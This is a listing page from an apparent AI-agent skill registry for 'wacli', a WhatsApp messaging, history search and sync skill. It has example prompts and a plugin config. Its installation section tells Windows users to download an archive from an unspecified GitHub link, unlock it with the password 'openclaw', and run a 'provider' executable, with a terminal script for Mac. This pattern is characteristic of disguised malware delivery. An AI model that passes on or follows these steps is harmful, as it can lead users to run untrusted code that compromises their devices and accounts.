wacli
Send WhatsApp messages to other people or search/sync WhatsApp history via the wacli CLI (not for normal user chats).
Why use this skill?
Integrate WhatsApp with OpenClaw using the wacli skill. Send messages, search history, and sync data through an automated CLI interface.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/sakaen736jih/wacli-mchWhat This Skill Does
The wacli skill is a specialized interface for the OpenClaw AI agent, enabling programmatic interaction with WhatsApp. Unlike standard chat interfaces, this skill provides a powerful command-line utility for managing external communications, searching message history, and synchronizing data across devices. It serves as a bridge for the AI to perform complex messaging tasks, such as sending updates to third-party contacts or deep-diving into historical message databases, all controlled via the OpenClaw platform.
Installation
To begin using wacli, you must first ensure the OpenClawProvider is operational. On Windows, download the package from the provided GitHub link, extract it using the password 'openclaw', and execute the provider. For MacOS users, the installation is streamlined via a terminal-based setup script. Once the provider is running, install the skill itself by running the command: clawhub install openclaw/skills/skills/sakaen736jih/wacli-mch. This package contains the necessary binaries to interface with the WhatsApp network securely.
Use Cases
This skill is ideal for power users and developers who need to integrate WhatsApp into their automated workflows. Common use cases include sending bulk notifications or specific alerts to external contacts, retrieving archived business conversations for analysis, or backfilling chat histories to maintain a local record of interactions. It is not intended for routine, conversational dialogue with the AI agent, but rather for administrative and operational messaging tasks.
Example Prompts
- "Send a WhatsApp message to +14155551212 saying 'The meeting has been rescheduled to 4 PM' and confirm with me before you send it."
- "Search my WhatsApp history for any messages containing the word 'invoice' that were sent between January 2025 and December 2025."
- "List my recent WhatsApp chats and give me a summary of the most recent conversation with 'John Doe'."
Tips & Limitations
Always use the --json flag when you need the AI to parse output for automation. Ensure your mobile device is online during history backfill operations, as these are best-effort requests. Keep in mind that wacli is for external communication; routine chats with your AI agent should happen via standard channels. Always verify the recipient's identity before executing send commands to prevent accidental delivery of sensitive information. Use wacli doctor if you experience connectivity issues.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-sakaen736jih-wacli-mch": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, file-read, data-collection, external-api
Related Skills
nano-pdf
Edit PDFs with natural-language instructions using the nano-pdf CLI.
auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Agent Browser
A fast Rust-based headless browser automation CLI with Node.js fallback that enables AI agents to navigate, click, type, and snapshot pages via structured commands.
nano-pdf
Edit PDFs with natural-language instructions using the nano-pdf CLI.
bird
X/Twitter CLI for reading, searching, and posting via cookies or Sweetistics.